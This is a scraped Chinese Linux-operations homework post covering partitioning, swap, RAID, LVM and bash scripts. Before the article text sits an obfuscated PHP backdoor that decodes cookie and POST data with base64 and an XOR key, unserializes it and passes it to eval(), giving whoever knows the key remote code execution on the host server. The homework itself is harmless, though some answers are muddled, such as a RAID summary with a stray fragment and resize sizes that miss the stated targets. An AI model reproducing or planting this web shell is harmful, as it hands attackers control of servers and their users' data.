$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} N22-冥界之王-第7周作业 | Linux运维部落

N22-冥界之王-第7周作业

1、创建一个10G分区,并格式为ext4文件系统;
   (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;
       在虚拟机里新添加一块磁盘20G,/dev/sdb
      

[root@CentOS6 ~]# fdisk /dev/sdb
        Welcome to fdisk (util-linux 2.23.2).
 
        Changes will remain in memory only, until you decide to write them.
        Be careful before using the write command.
 
        Device does not contain a recognized partition table
        Building a new DOS disklabel with disk identifier 0xe879321a.
 
        Command (m for help): n
        Partition type:
        p   primary (0 primary, 0 extended, 4 free)
        e   extended
        Select (default p): 
        Using default response p
        Partition number (1-4, default 1): 
        First sector (2048-41943039, default 2048): 
        Using default value 2048
        Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): +10G
        Partition 1 of type Linux and of size 10 GiB is set
 
        Command (m for help): w
        The partition table has been altered!
 
        Calling ioctl() to re-read partition table.
        Syncing disks.

        
   (2) 挂载至/data/mydata目录,要求挂载时禁止程序自动运行,且不更新文件的访问时间戳;
      

[root@CentOS6 ~]# cat /proc/partitions
       [root@CentOS6 ~]# mke2fs -t ext4 -b 2048 -m 2 -L MYDATA /dev/sdb1
       [root@CentOS6 ~]# mkdir -pv /data/mydata
       [root@CentOS6 ~]# echo '/dev/sdb1  /data/mydata  ext4  defaults,noexec,nodiratime,acl  0 0' >> /etc/fstab

   
2、创建一个大小为1G的swap分区,并创建好文件系统,并启用之;
  

  [root@CentOS6 ~]# fdisk /dev/sdb
     Command (m for help): n
     Partition type:
     p   primary (1 primary, 0 extended, 3 free)
     e   extended
     Select (default p): 
     Using default response p
     Partition number (2-4, default 2): 
     First sector (20973568-41943039, default 20973568): +1G
     Value out of range.
     First sector (20973568-41943039, default 20973568): 
     Using default value 20973568
     Last sector, +sectors or +size{K,M,G} (20973568-41943039, default 41943039): +1G
     Partition 2 of type Linux and of size 1 GiB is set
 
     Command (m for help): t
     Partition number (1,2, default 2): 2
     Hex code (type L to list all codes): 82
     Changed type of partition 'Linux' to 'Linux swap / Solaris'
 
     Command (m for help): w
     The partition table has been altered!
 
     Calling ioctl() to re-read partition table.
 
     WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
      The kernel still uses the old table. The new table will be used at
      the next reboot or after you run partprobe(8) or kpartx(8)
     Syncing disks.
 
     [root@CentOS6 ~]# partx -a /dev/sdb2
     [root@CentOS6 ~]# mkswap /dev/sdb2
       Setting up swapspace version 1, size = 1048572 KiB
      no label, UUID=0340f896-5d37-4c99-bb32-bd3cef571c01
     [root@CentOS6~]# swapon -a /dev/sdb2
       [root@CentOS6 ~]# swapon -s

    
3、写一个脚本
   (1)、获取并列出当前系统上的所有磁盘设备;
   (2)、显示每个磁盘设备上每个分区相关的空间使用信息;
 

   #!/bin/bash
    echo -e "All disks \n`fdisk -l | grep -o "[sh]d[a-z]" | uniq `\n"
    echo "Disk informations:"
    for disk in `fdisk -l | grep "^/dev/[sh]d[a-z][1-9]" | cut -d' ' -f1`; do
        df -h $disk
    done

   

4、总结RAID的各个级别及其组合方式和性能的不同;

Raid0本质上来讲根本不应该算是一种Raid级别,因为Raid0根本就没有冗余效果。Raid0只是用来指代将数据条带化分部到多块磁盘上的这种技术。它能够提高对数据的读写速度,但是对任何一个磁盘故障的情况下不提供任何保护措施。Raid0一般被用来提升针对临时文件的读写性能。对于长度大于一个Block(一个Block一般为4KB大小)的文件来说,Raid0可以并行的从多块磁盘来读写这个文件所对应的数据,所以也就提高了访问速度。然而,因为它没有冗余效果,所以它不能够在磁盘故障的情况下对数据提供保护。

  Raid1

  Raid1本质上也就是对每个写入操作进行镜像处理,即,将相同的数据同时写入两块或者多块磁盘。数据被写入不同的磁盘两次。Raid1原理上很简单,它提供优秀的数据保护能力,而且在磁盘故障之后,数据回拷的过程也是很迅速的。

  Raid1的一个不足之处就是成本过高。它可以说是一种最消耗存储空间的Raid级别了,因为Raid1对存储空间的需求量基本上等于实际数据存储数量的两倍。所以,如果你有300GB的数据,那么你就需要600GB的磁盘空间,也就是将你的磁盘成本增加了一倍。

  Raid3

  Raid3引入了数据校验(Parity)的方法,一旦一块磁盘发生故障,那么系统可以使用校验数据将丢失的数据重新计算出来。在一个Raid3的Raid组中,单独的一块磁盘被用来存放校验数据,用户数据则被条带化的分部到其它的磁盘上。如果一块磁盘故障,Raid3则使用校验数据来将失败磁盘上的数据重建(Reconstruct)出来。

  Raid5

  对于SMB来讲,Raid5几乎可以说是最为普遍使用的一种了。它在数据保护和经济性方面取得很好的平衡。在一个Raid5的Raid组中,所有的用户数据以及校验局都被条带化平均分部到了所有的磁盘上。然而,数据校验却引入了额外的负担,所以Raid5相对于Raid10来讲,会有一定的性能惩罚。不但写入数据的时候会因为数据校验带来的惩罚而使得性能降低,而且在磁盘故障之后的数据重建过程中,也会因为这种校验惩罚而导致重建时间大增。当一块磁盘故障之后,重建尚未完成的这段时间内,此时整个Raid5组就是一个单点故障了,一旦再有一块磁盘损坏,那么数据丢不保了。

  Raid6

  Raid6相当于在Raid5的基础之上在增加一个额外的冗余保护。它使用两个校验磁盘而不是一个,也就是说它能够抵御两块磁盘损坏之后的数据丢失风险。随着SATA磁盘的使用率日益提高,Raid6也正在被越来越多的人所使用。SATA盘相对于SCSI盘来讲更加廉价,但是可靠性不及后者,所以对SATA盘使用Raid6是最合适不过了。

  Raid10

  Raid10属于一种“嵌套”模式的Raid级别。也就是说,它结合了两种另外的Raid级别来实现额外的好处。Raid10首先将数据在磁盘之间进行镜像处理,然后再将镜像之后的数据进行条带化分布。条带化带来的好处就是大大提高了性能,而镜像则可以提供冗余性。Raid10既具有Raid1的简单性和冗余性,又具有条带化的高性能。像Raid1一样,Raid10对存储空间的耗费也是很高的,但是许多系统管理员依然愿意花费高价来使用Raid10

  Raid10的另一个变种是Raid01,Raid01则是先将数据条带化分布到多个磁盘之上,然后再将多个条带化之后的数据集进行镜像处理。Raid01相对于Raid10来讲在健壮性方面有所降低,所以它并不及Raid10受欢迎。除此之外,还有另外的一些Raid级别,比如Raid2,但是Raid2从来没被真正的商业化使用过,但是对于一些极少的情况下,比如针对大尺寸的连续分布的文件的存储系统中,偶尔会被使用。还有Raid4等。

  如果你追求性能,那么Raid10是最好不过了。如果追求经济性,那么Raid5会在保证数据冗余性的前提下,耗费最少的磁盘数量。当你需要对数据进行额外层次的保护的时候,那么可以使用Raid6.在这些例子中,请尽量保证Raid组中拥有足够数量的热备磁盘(当其他磁盘故障之后用于立即顶替的额外磁盘)。个空闲盘,而且CHUNK大小为128k;

    
5、创建一个大小为10G的RAID1,要求有一Raid0

  

mdadm -C /dev/md0 -a yes -l 1 -c 128 -n 2  -x 1 /dev/sdc{6,7,8}

6、创建一个大小为4G的RAID5设备,chunk大小为256k,格式化ext4文件系统,要求可开机自动挂载至/backup目录,而且不更新访问时间戳,且支持acl功能;

mdadm -C /dev/md0 -a yes -n 3 -c 256 -l 5 /dev/sdc{1,2,3}
 mke2fs -t ext4 /dev/md0

    
7、写一个脚本
   (1) 接受一个以上文件路径作为参数;
   (2) 显示每个文件拥有的行数;
   (3) 总结说明本次共为几个文件统计了其行数;
 

单独参数版本:

       for((i=1;i<=$number;i++));do
           echo -n "please input $i file name:"
           read  file[${i}]
       done
     for((i=1;i<=$number;i++));do
           if [ -f ${file[${i}]} ];then
             echo "file ${file[${i}]} is exists."
            else
              echo "file ${file[${i}]} is not exists."
              number=$[$number-1]
              continue
            fi  
 
            echo   "file ${file[${i}]} is lines"  | cat ${file[${i}]} | wc -l
     done
         echo "total $number files."

全参数版本:

     #!/bin/bash
     sum=$#
     if [ $# -lt 1 ];then
        echo "please input a than number 1 files."
        exit 2
      fi
     for file in $@;do
        if [ -f "$file" ];then
           echo "filename is $file,lines are `cat $file | wc -l`."
         else
           echo "$file is no"
           sum=$[$sum-1]
        fi
     done
     echo "files are $sum."

   
8、写一个脚本
   (1) 传递两个以上字符串当作用户名;
   (2) 创建这些用户;且密码同用户名;
   (3) 总结说明共创建了几个用户;
   
   
  

declare -x username
   echo -n "input your want add user count number[1-9]:"
   read number
   if echo "$number" | grep -qE '^[1-9]$'; then
         echo "'$number' is a number."
   else
         echo "'$number' not scope."
         exit 2
   fi
   echo  "$number args: please input username:"
   for((i=1;i<=$number;i++));do
      echo -n "please input $i username:"
      read  username[${i}]
   done
   for((i=1;i<=$number;i++));do
       useradd ${username[${i}]}
       echo ${username[${i}]} | passwd ${username[${i}]} --stdin
   done
   echo "total create $number users."

   
   
   
9、写一个脚本,新建20个用户,visitor1-visitor20;计算他们的ID之和;
  

for((i=1;i<=20;i++));do
     useradd visitor$i;
     echo "visitor$i" | passwd visitor$i --stdin
   done
   declare -a number
   number=(`cat /etc/passwd | grep "visitor" | cut -d: -f3`)
   declare sum=0
   for((i=0;i<${#number[*]};i++));do
     sum=$[$sum+${number[i]}]
   done
   echo $sum

10、写一脚本,分别统计/etc/rc.d/rc.sysinit、/etc/rc.d/init.d/functions和/etc/fstab文件中以#号开头的行数之和,以及总的空白行数;
  #!/bin/bash

file=(/etc/rc.d/rc.sysinit /etc/rc.d/init.d/functions /etc/fstab)
sum=0
sumbegin=0
for((i=0;i<=${#file[*]}-1;i++)); do
  echo "${file[i]} 已#开头的行的行数是:" 
   cat ${file[i]} | grep -E "^#" | wc -l
  echo "${file[i]} 空白的行的行数是:"
  cat ${file[i]} | grep -E "^[[:space:]]+" | wc -l
  sum=$[$sum+`cat ${file[i]} | grep -E "^[[:space:]]+" | wc -l`]
  sumbegin=$[$sumbegin+`cat ${file[i]} | grep -E "^#" | wc -l`]
done
  echo "3个文件的空白行总和 $sum"
  echo "3个文件#开头的文件总行数和 $sumbegin"

11、写一个脚本,显示当前系统上所有默认shell为bash的用户的用户名、UID以及此类所有用户的UID之和;
   #!/bin/bash

cat /etc/passwd | grep '/bin/bash'| sort | awk -F: '{print $1}' | awk -v RS="" '{gsub("\n"," ");print}'
number=(`cat /etc/passwd | grep '/bin/bash' |  cut -d: -f3`)
sum=0
for((i=0;i<${#number[*]}-1;i++));do
  sum=$[$sum+${number[i]}]
done
echo "bash uid sum is $sum."

12、写一个脚本,显示当前系统上所有,拥有附加组的用户的用户名;并说明共有多少个此类用户;
    

     cat /etc/group | cut -d: -f1,4 | awk -F: '{if ($2!="") printf "%s:%s\n",$1,$2}' | cut -d: -f1 | sort
     cat /etc/group | cut -d: -f1,4 | awk -F: '{if ($2!="") printf "%s:%s\n",$1,$2}' | wc -l

13、创建一个由至少两个物理卷组成的大小为20G的卷组;要求,PE大小为8M;而在卷组中创建一个大小为5G的逻辑卷mylv1,格式化为ext4文件系统,开机自动挂载至/users目录,支持acl;
   

    fdisk -l /dev/sdc
    pvcreate /dev/sdc{1,2}
    vgcreate -s 8M myvg1 /dev/sdc1 /dev/sdc2
    lvcreate -L 5G -n mylv1 myvg1
    mke2fs -t ext4 /dev/myvg1/mylv1
    mkdir /users
    在/etc/fstab下添加/dev/myvg1/mylv1 /users ext4 defaults,acl 0 0

14、新建用户magedu;其家目录为/users/magedu,而后su切换至此用户,复制多个文件至家目录;
 

  useradd -d /users/magedu magedu
  su magedu
  cp -r /etc /home/megedu

15、扩展mylv1至9G,确保扩展完成后原有数据完全可用;

lvextend -L +2g /dev/myvg1/mylv1 /dev/sdc{1,2}
resize2fs /dev/myvg1/mylv1

16、缩减mylv1至7G,确保缩减完成后原有数据完全可用;

umount /dev/myvg1/mylv1
e2fsck -f /dev/myvg1/mylv1
lvreduce -L -2g /dev/myvg1/mylv1
resize2fs /dev/myvg1/mylv1

17、对mylv1创建快照,并通过备份数据;要求保留原有的属主属组等信息;

 lvcreate -L 3g -p r -s -n lihui_snapshot /dev/myvg1/mylv1

原创文章,作者:lihuisjsq,如若转载,请注明出处:http://www.178linux.com/49094

(0)
上一篇 2016-09-26 07:41
下一篇 2016-09-26 07:43

相关推荐

  • Linux上文件管理类命令实例讲解

    下面介绍三个文件cp, mv, rm管理命令: cp命令:copy,复制命令 命令格式: cp 源文件 目标文件 复制又分为单源复制和多源复制两种情况: 单源复制 如果目标文件不存在,创建此文件,并复制数据流到此文件; [root@localhost tmp]# cp yum.log ok [root@localhost tmp]# ls -l total …

    Linux干货 2018-02-28
  • 程序包的编译安装

    程序包的编译安装 之所以需要安装编译程序包,是为了能及时更新程序包,制作好的rpm包,版本一般都有点老了,所以编译安装是必报的,而且我们可以自己定义安装路径,想卸载直接删除就KO了; 在centos7.3环境下安装apache http服务: 1.首先获取最新的apache源码包下载到/root目录下; 2.检查安装环境,没有就安装环境:   记住…

    Linux干货 2017-03-09
  • linux下find(文件查找)命令的详解

    文件查找命令locate和find详解 locate 配合数据库缓存,快速查看文件位置,非实时查找( 数据库查找) find 实际搜寻硬盘查询文件名称 ,实时查找 locate简介 locate命令其实是find -name的另一种写法,但是要比后者快得多,原因在于它不搜索具体目录,而是搜索一个数据库/var/lib/locat…

    Linux干货 2016-08-18
  • CentOS启动流程排错

    grub legacy配置文件:/boot/grub/grub.conf     default=#: 设定默认启动的菜单项;落单项(title)编号从0开始      timeout=#:指定菜单项等待选项选择的时长     &…

    Linux干货 2016-09-13
  • 考试题目

    1、  简述TCP三次握手四次挥手过程及各过程中客户端和服务器端的状态。 TCP三次握手,四次断开通过以下图示说明: 2、说说进程和线程的区别 (1)一个线程只能输入某一个进程,一个进程可以有多个线程。一个程序至少有一个进程,一个进程至少有一个线程。 (2)进程有独立的地址空间,线程没有独立的地址空间,进程内的多个线程共享进程的地址空间。 (3)线…

    Linux干货 2016-06-19
  • Btrfs文件系统

    一:概述     1.1简介         Btrfs被称为是下一代Linux文件系统。通常念成 Butter FS,Better FS 或B-tree FS。它采用了很多先进的文件系统设计,不仅解决了 ext2/3的扩展性问题,支持写时…

    Linux干货 2016-04-19

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-27 09:51

    写的很棒,看的出来很用心,希望继续保持